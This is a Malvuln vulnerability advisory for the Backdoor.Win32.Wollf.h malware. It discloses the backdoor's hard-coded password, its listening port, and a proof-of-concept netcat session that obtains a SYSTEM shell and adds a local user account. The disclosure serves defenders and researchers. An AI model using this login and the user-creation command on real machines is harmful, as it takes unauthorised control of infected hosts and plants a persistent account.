Backdoor.Win32.Wollf.h malware suffers from a hard-coded password vulnerability.
ce4439da8c5394978dd0ab078ec19349Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/5494b78dcfaf16aa43b5dbd563dc5582.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Wollf.h
Vulnerability: Hardcoded Cleartext Password
Description: The malware listens on TCP port 7300 and runs with SYSTEM integrity. Authentication is required for remote user access. However, the password "grish5800" is hardcoded within the executable. The malware is packed with UPX and exposes the cleartext credentials when decompressed.
Type: PE32
MD5: 5494b78dcfaf16aa43b5dbd563dc5582
Vuln ID: MVID-2021-0405
Dropped files: asphelp.exe
Disclosure: 11/21/2021
Exploit/PoC:
nc64.exe x.x.x.x 7300
login: grish5800
Login succeed!
"Wollf Remote Manager" v1.6
Code by wollf, http://www.xfocus.org
[DESKTOP-2C3IQHO@C:\WINDOWS\system32]#DOS
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>whoami
whoami
nt authority\system
C:\WINDOWS\system32>net user MALVULN 666 /add
net user MALVULN 666 /add
The command completed successfully.
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